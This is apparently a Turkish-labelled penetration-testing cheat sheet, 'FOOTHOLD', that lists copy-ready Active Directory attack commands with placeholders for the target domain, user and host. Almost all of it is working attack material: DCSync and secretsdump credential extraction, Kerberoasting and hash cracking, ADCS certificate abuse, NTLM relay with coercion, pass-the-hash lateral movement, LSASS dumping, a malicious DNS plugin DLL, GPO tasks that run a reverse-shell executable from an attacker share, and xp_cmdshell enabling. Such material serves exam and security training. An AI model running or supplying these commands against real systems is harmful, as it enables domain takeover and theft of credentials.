FOOTHOLD Metodoloji Cheat-sheet

Cheat-Sheet · Komut Matrisi

1119 komut · port / phase / platform / tool / exam ile filtrele. Üstten hedefini gir, hepsi otomatik ikame edilir; kopyala çalışır komutu verir.

bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' -ns {{DC_IP}} -c All --zip
bloodhound-python ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M daclread -o TARGET_DN='CN={{USER}},CN=Users,DC=...' ACTION=read
netexec ✓ EXAM-SAFE
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get writable
bloodyAD ✓ EXAM-SAFE
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' set password 'TARGET_USER' 'Newp@ss123!'
bloodyAD ✓ EXAM-SAFE
net rpc password 'TARGET_USER' 'Newp@ss123!' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}}
net ✓ EXAM-SAFE
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add groupMember 'TARGET_GROUP' '{{USER}}'
bloodyAD ✓ EXAM-SAFE
net rpc group addmem 'TARGET_GROUP' '{{USER}}' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}}
net ✓ EXAM-SAFE
certipy-ad shadow auto -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -account 'TARGET_USER' -dc-ip {{DC_IP}}
certipy ✓ EXAM-SAFE
pywhisker -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --target 'TARGET_USER' --action add --dc-ip {{DC_IP}}
pywhisker ✓ EXAM-SAFE
targetedKerberoast.py -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --dc-ip {{DC_IP}}
targetedKerberoast ✓ EXAM-SAFE
Set-DomainObject -Identity 'TARGET_USER' -Set @{serviceprincipalname='fake/ROAST'}; Get-DomainSPNTicket -Identity 'TARGET_USER'
powerview ✓ EXAM-SAFE
impacket-dacledit -action 'write' -rights 'DCSync' -principal '{{USER}}' -target-dn 'DC=...,DC=...' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
impacket-dacledit ✓ EXAM-SAFE
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add dcsync '{{USER}}'
bloodyAD ✓ EXAM-SAFE
impacket-owneredit -action write -new-owner '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
impacket-owneredit ✓ EXAM-SAFE
impacket-dacledit -action 'write' -rights 'FullControl' -principal '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
impacket-dacledit ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --gmsa
netexec ✓ EXAM-SAFE
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get object 'GMSA01$' --attr msDS-ManagedPassword
bloodyAD ✓ EXAM-SAFE
Add-DomainObjectAcl -TargetIdentity 'DC=...,DC=...' -PrincipalIdentity '{{USER}}' -Rights DCSync
powerview ✓ EXAM-SAFE
certipy find -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -vulnerable -stdout
certipy ✓ EXAM-SAFE
certipy req -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@{{DOMAIN}}
certipy ✓ EXAM-SAFE
certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}}
certipy ✓ EXAM-SAFE
certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}} -domain {{DOMAIN}} -username administrator
certipy ✓ EXAM-SAFE
impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
impacket-ntlmrelayx ✓ EXAM-SAFE
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip {{DC_IP}}
certipy ✓ EXAM-SAFE
passthecert.py -action whoami -crt user.crt -key user.key -domain {{DOMAIN}} -dc-ip {{DC_IP}}
passthecert ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash
impacket ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -format hashcat -outputfile asrep.hash
impacket ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --asreproast asrep.hash
netexec ✓ EXAM-SAFE
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash /nowrap
rubeus ✓ EXAM-SAFE
hashcat -m 18200 asrep.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
hashcat ✓ EXAM-SAFE
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol | fl
powerview ✓ EXAM-SAFE
curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d
docker ✓ EXAM-SAFE
sudo neo4j start && bloodhound --no-sandbox
neo4j ✓ EXAM-SAFE
bloodhound-python -c All -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} -ns {{DC_IP}} --zip
bloodhound-python ✓ EXAM-SAFE
bloodhound-python -c All,LoggedOn -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} -ns {{DC_IP}} -dc {{DC_HOST}} --kerberos
bloodhound-python ✓ EXAM-SAFE
bloodhound-python -c All -u '{{USER}}' --hashes :{{NTHASH}} -d {{DOMAIN}} -ns {{DC_IP}} --zip
bloodhound-python ✓ EXAM-SAFE
SharpHound.exe -c All --zipfilename loot
SharpHound ✓ EXAM-SAFE
SharpHound.exe -c DCOnly --ldapusername '{{USER}}' --ldappassword '{{PASS}}'
SharpHound ✓ EXAM-SAFE
SharpHound.exe -c All,LoggedOn -d {{DOMAIN}} --domaincontroller {{DC_IP}} --collectionmethod Session,ACL
SharpHound ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --bloodhound -c All --dns-server {{DC_IP}}
nxc ✓ EXAM-SAFE
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@{{DOMAIN}}'})) RETURN p
cypher ✓ EXAM-SAFE
MATCH (u:User)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(t) WHERE u.owned=true RETURN u,r,t
cypher ✓ EXAM-SAFE
MATCH (c:Computer) WHERE c.unconstraineddelegation=true RETURN c.name
cypher ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --shares
nxc ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u guest -p '' --rid-brute 10000
nxc ✓ EXAM-SAFE
kerbrute userenum -d {{DOMAIN}} --dc {{DC_IP}} {{WORDLIST}}
kerbrute ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile users.txt -no-pass -format hashcat
impacket-GetNPUsers ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}}
nxc ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile spns.hash
impacket-GetUserSPNs ✓ EXAM-SAFE
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p {{PASS}} -ns {{DC_IP}} -c All --zip
bloodhound-python ✓ EXAM-SAFE
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
impacket-ntlmrelayx -t ldaps://{{DC_IP}} -smb2support --delegate-access
impacket-ntlmrelayx ✓ EXAM-SAFE
impacket-ntlmrelayx -t ldap://{{DC_IP}} --escalate-user {{USER}} -smb2support
impacket-ntlmrelayx ✓ EXAM-SAFE
impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
impacket-ntlmrelayx ✓ EXAM-SAFE
petitpotam.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}}
petitpotam ✓ EXAM-SAFE
printerbug.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} {{LHOST}}
impacket-printerbug ✓ EXAM-SAFE
coercer coerce -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -t {{DC_IP}} -l {{LHOST}}
coercer ✓ EXAM-SAFE
dfscoerce.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}}
dfscoerce ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!'
impacket-getST ✓ EXAM-SAFE
hashcat -m 18200 asrep.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
hashcat ✓ EXAM-SAFE
hashcat -m 13100 kerberoast.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
hashcat ✓ EXAM-SAFE
hashcat -m 1000 ntlm.txt {{WORDLIST}} -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
hashcat ✓ EXAM-SAFE
hashcat -m 5600 netntlmv2.txt {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
hashcat ✓ EXAM-SAFE
hashcat -m 13100 kerberoast.hash {{WORDLIST}} --force --status --status-timer=10 -O -w 3
hashcat ✓ EXAM-SAFE
hashcat -m 13100 kerberoast.hash --show
hashcat ✓ EXAM-SAFE
john --format=krb5tgs --wordlist={{WORDLIST}} kerberoast.hash
john ✓ EXAM-SAFE
hashcat -m 1000 ntlm.txt -a 3 ?u?l?l?l?l?d?d?d?d
hashcat ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M gpp_password
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M gpp_autologin
netexec ✓ EXAM-SAFE
impacket-Get-GPPPassword -dc-ip {{DC_IP}} {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_HOST}}
impacket-Get-GPPPassword ✓ EXAM-SAFE
smbclient //{{DC_IP}}/SYSVOL -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -c 'recurse ON; prompt OFF; mget *'
smbclient ✓ EXAM-SAFE
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
gpp-decrypt ✓ EXAM-SAFE
nxc smb {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth --lsa
netexec ✓ EXAM-SAFE
nxc smb {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth --sam
netexec ✓ EXAM-SAFE
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-secretsdump ✓ EXAM-SAFE
nxc smb {{RHOSTS}} -u {{USER}} -p {{PASS}} --spider C\$ --content --pattern password pass cpassword
netexec ✓ EXAM-SAFE
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -just-dc-ntlm {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -just-dc-user {{DOMAIN}}/krbtgt {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -just-dc -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds --user krbtgt
netexec ✓ EXAM-SAFE
mimikatz # lsadump::dcsync /domain:{{DOMAIN}} /user:krbtgt
mimikatz ✓ EXAM-SAFE
mimikatz # lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator
mimikatz ✓ EXAM-SAFE
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity {{USER}} -Rights DCSync
powerview ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation
netexec ✓ EXAM-SAFE
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto; Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto
powershell ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo userAccountControl
ldapsearch ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/{{USER}}:{{PASS}}'
impacket ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -hashes :{{NTHASH}} '{{DOMAIN}}/{{USER}}'
impacket ✓ EXAM-SAFE
KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}}
impacket ✓ EXAM-SAFE
Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt
rubeus ✓ EXAM-SAFE
Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /altservice:host,ldap,http,wsman /ptt
rubeus ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation
netexec ✓ EXAM-SAFE
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
powershell ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName dNSHostName
ldapsearch ✓ EXAM-SAFE
Rubeus.exe monitor /interval:5 /filteruser:{{DC_HOST}}$ /nowrap
rubeus ✓ EXAM-SAFE
Rubeus.exe dump /service:krbtgt /nowrap
rubeus ✓ EXAM-SAFE
impacket-printerbug '{{DOMAIN}}/{{USER}}:{{PASS}}'@{{DC_IP}} {{LHOST}}
impacket ✓ EXAM-SAFE
impacket-petitpotam -d {{DOMAIN}} -u {{USER}} -p {{PASS}} {{LHOST}} {{DC_IP}}
impacket ✓ EXAM-SAFE
Rubeus.exe ptt /ticket:doIF...base64TGT...
rubeus ✓ EXAM-SAFE
lsadump::dcsync /domain:{{DOMAIN}} /user:{{DOMAIN}}\krbtgt
mimikatz ✓ EXAM-SAFE
KRB5CCNAME=dc.ccache impacket-secretsdump -k -no-pass '{{DOMAIN}}/{{DC_HOST}}$@{{DC_HOST}}' -just-dc-user krbtgt
impacket ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} --query "(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)" "sAMAccountName"
netexec ✓ EXAM-SAFE
net group "DnsAdmins" /domain
net ✓ EXAM-SAFE
msfvenom -p windows/x64/exec CMD='net group "Domain Admins" {{USER}} /add /domain' -f dll -o /tmp/dns_plugin.dll
msfvenom ⚠ RESTRICTED
impacket-smbserver share /tmp/ -smb2support
smbserver ✓ EXAM-SAFE
dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll
dnscmd ✓ EXAM-SAFE
dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll /s
dnscmd ✓ EXAM-SAFE
sc.exe \\{{DC_HOST}} stop dns && sc.exe \\{{DC_HOST}} start dns
sc ✓ EXAM-SAFE
reg query \\{{DC_HOST}}\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
reg ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -d {{DOMAIN}} -x "net group 'Domain Admins'"
netexec ✓ EXAM-SAFE
dnscmd {{DC_HOST}} /config /serverlevelplugindll
dnscmd ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --users
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --groups
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --pass-pol
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --users
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --password-not-required
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -H {{NTHASH}} --trusted-for-delegation
netexec ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description memberOf
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
ldapsearch ✓ EXAM-SAFE
rpcclient -U '{{DOMAIN}}/{{USER}}%{{PASS}}' {{DC_IP}} -c 'enumdomusers'
rpcclient ✓ EXAM-SAFE
rpcclient -U '{{DOMAIN}}/{{USER}}%{{PASS}}' {{DC_IP}} -c 'querygroupmem 0x200; queryuser 0x1f4'
rpcclient ✓ EXAM-SAFE
enum4linux-ng -u '{{USER}}' -p '{{PASS}}' -A {{DC_IP}}
enum4linux-ng ✓ EXAM-SAFE
pywerview get-netuser -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} --dc-ip {{DC_IP}}
pywerview ✓ EXAM-SAFE
impacket-GetADUsers -all -dc-ip {{DC_IP}} '{{DOMAIN}}/{{USER}}:{{PASS}}'
impacket-GetADUsers ✓ EXAM-SAFE
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname | fl
powerview ✓ EXAM-SAFE
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
powerview ✓ EXAM-SAFE
ADSearch.exe --domain {{DOMAIN}} --search '(&(objectCategory=user)(servicePrincipalName=*))' --attributes samaccountname,serviceprincipalname
adsearch ✓ EXAM-SAFE
ADExplorer.exe -snapshot "" C:\Temp\snap.dat {{DC_HOST}}
AD Explorer ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --shares
nxc ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u guest -p '' --rid-brute 10000
nxc ✓ EXAM-SAFE
enum4linux-ng -A {{DC_IP}}
enum4linux-ng ✓ EXAM-SAFE
rpcclient -U '' -N {{DC_IP}}
rpcclient ✓ EXAM-SAFE
rpcclient -U '' -N {{DC_IP}} -c 'enumdomusers'
rpcclient ✓ EXAM-SAFE
rpcclient -U '' -N {{DC_IP}} -c 'querydominfo;getdompwinfo'
rpcclient ✓ EXAM-SAFE
impacket-lookupsid {{DOMAIN}}/guest@{{DC_IP}} -no-pass
impacket-lookupsid ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -s base namingcontexts
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName
ldapsearch ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '' -p '' --query '(objectClass=domain)' ''
nxc ✓ EXAM-SAFE
smbclient -L //{{DC_IP}} -N
smbclient ✓ EXAM-SAFE
bloodhound-python -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc {{DC_HOST}} -ns {{DC_IP}} -c All
bloodhound-python ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -M maq && nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa
netexec ✓ EXAM-SAFE
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|WriteDacl' }
powerview ✓ EXAM-SAFE
Get-DomainOU | Get-DomainComputer -SearchBase $_.distinguishedname; Get-DomainGPO -Identity "{GPO-GUID}" | select gplink,displayname
powerview ✓ EXAM-SAFE
python3 pygpoabuse.py {{DOMAIN}}/{{USER}}:{{PASS}} -gpo-id "{GPO-GUID}" -command "net group 'Domain Admins' {{USER}} /add /domain" -taskname "Update" -description "benign"
pygpoabuse ✓ EXAM-SAFE
python3 pygpoabuse.py {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -gpo-id "{GPO-GUID}" -command "{{LHOST}}\share\rev.exe" -user
pygpoabuse ✓ EXAM-SAFE
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' {{USER}} /add /domain" --GPOName "VulnerableGPO"
SharpGPOAbuse ✓ EXAM-SAFE
SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c {{LHOST}}\share\rev.exe" --GPOName "VulnerableGPO"
SharpGPOAbuse ✓ EXAM-SAFE
New-GPOImmediateTask -TaskName Update -GPODisplayName "VulnerableGPO" -CommandArguments '-c "net group ..."' -Force
powershell ✓ EXAM-SAFE
gpupdate /force
gpupdate ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'"
netexec ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash
impacket ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash
impacket ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --kerberoasting kerberoast.hash
netexec ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}}
impacket ✓ EXAM-SAFE
Rubeus.exe kerberoast /outfile:kerberoast.hash /nowrap
rubeus ✓ EXAM-SAFE
Rubeus.exe kerberoast /user:{{USER}} /nowrap
rubeus ✓ EXAM-SAFE
targetedKerberoast.py -v -d {{DOMAIN}} -u {{USER}} -p {{PASS}} --dc-ip {{DC_IP}}
targetedKerberoast ✓ EXAM-SAFE
hashcat -m 13100 kerberoast.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
hashcat ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --laps
netexec ✓ EXAM-SAFE
nxc smb {{RHOST}} -u 'administrator' -p '{{PASS}}' --local-auth
netexec ✓ EXAM-SAFE
pyLAPS.py --action get -d {{DOMAIN}} -u '{{USER}}' -p '{{PASS}}' --dc-ip {{DC_IP}}
pyLAPS ✓ EXAM-SAFE
laps.py -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} -l {{DC_IP}}
LAPSDumper ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd sAMAccountName
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(msLAPS-EncryptedPassword=*)' msLAPS-Password sAMAccountName
ldapsearch ✓ EXAM-SAFE
Get-DomainObject -Identity '{{RHOST}}' -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
powerview ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u administrator -p '{{PASS}}'
evil-winrm ✓ EXAM-SAFE
nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} --local-auth
netexec ✓ EXAM-SAFE
nxc smb {{RHOST}} -u {{USER}} -H {{NTHASH}} -x 'whoami /all'
netexec ✓ EXAM-SAFE
impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
impacket-wmiexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-wmiexec ✓ EXAM-SAFE
impacket-smbexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-smbexec ✓ EXAM-SAFE
impacket-atexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} 'whoami'
impacket-atexec ✓ EXAM-SAFE
impacket-dcomexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-dcomexec ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
impacket-getTGT -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}} -dc-ip {{DC_IP}}
impacket-getTGT ✓ EXAM-SAFE
export KRB5CCNAME={{USER}}.ccache; impacket-wmiexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}}
impacket-wmiexec ✓ EXAM-SAFE
KRB5CCNAME={{USER}}.ccache nxc smb {{DC_HOST}} -k --use-kcache -x 'whoami'
netexec ✓ EXAM-SAFE
Rubeus.exe asktgt /user:{{USER}} /rc4:{{NTHASH}} /domain:{{DOMAIN}} /dc:{{DC_IP}} /ptt
rubeus ✓ EXAM-SAFE
Rubeus.exe ptt /ticket:ticket.kirbi
rubeus ✓ EXAM-SAFE
sekurlsa::pth /user:{{USER}} /domain:{{DOMAIN}} /ntlm:{{NTHASH}} /run:powershell.exe
mimikatz ✓ EXAM-SAFE
nxc rdp {{RHOST}} -u {{USER}} -H {{NTHASH}}
netexec ✓ EXAM-SAFE
xfreerdp /v:{{RHOST}} /u:{{USER}} /pth:{{NTHASH}} /d:{{DOMAIN}} +clipboard
xfreerdp ✓ EXAM-SAFE
impacket-psexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}}
psexec.py ✓ EXAM-SAFE
nxc smb {{RHOST}} -u {{USER}} -p {{PASS}} -M lsassy
netexec ✓ EXAM-SAFE
tasklist /fi "imagename eq lsass.exe"
cmd ✓ EXAM-SAFE
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full
rundll32 ✓ EXAM-SAFE
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
procdump ✓ EXAM-SAFE
nanodump.x64.exe --write C:\Windows\Temp\lsass.dmp
nanodump ✓ EXAM-SAFE
pypykatz lsa minidump C:/loot/lsass.dmp
pypykatz ✓ EXAM-SAFE
mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonPasswords full
mimikatz ✓ EXAM-SAFE
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
mimikatz ⚠ RESTRICTED
nmap -Pn -p 88,135,139,389,445,464,636,3268,3269,5985 -sV --script=ldap-rootdse {{DC_IP}}
nmap ✓ EXAM-SAFE
nxc smb {{DC_IP}}
nxc ✓ EXAM-SAFE
echo '{{DC_IP}} {{DC_HOST}} {{DOMAIN}}' | sudo tee -a /etc/hosts
bash ✓ EXAM-SAFE
sudo ntpdate {{DC_IP}}
ntpdate ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --shares
nxc ✓ EXAM-SAFE
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p {{PASS}} -ns {{DC_IP}} -c All --zip
bloodhound-python ✓ EXAM-SAFE
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
nxc mssql {{RHOSTS}} -u {{USER}} -p '{{PASS}}' --local-auth
netexec ✓ EXAM-SAFE
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -q 'SELECT @@version; SELECT IS_SRVROLEMEMBER(''sysadmin'')'
netexec ✓ EXAM-SAFE
impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth
impacket-mssqlclient ✓ EXAM-SAFE
enable_xp_cmdshell
impacket-mssqlclient ✓ EXAM-SAFE
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -X 'whoami' --local-auth
netexec ✓ EXAM-SAFE
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
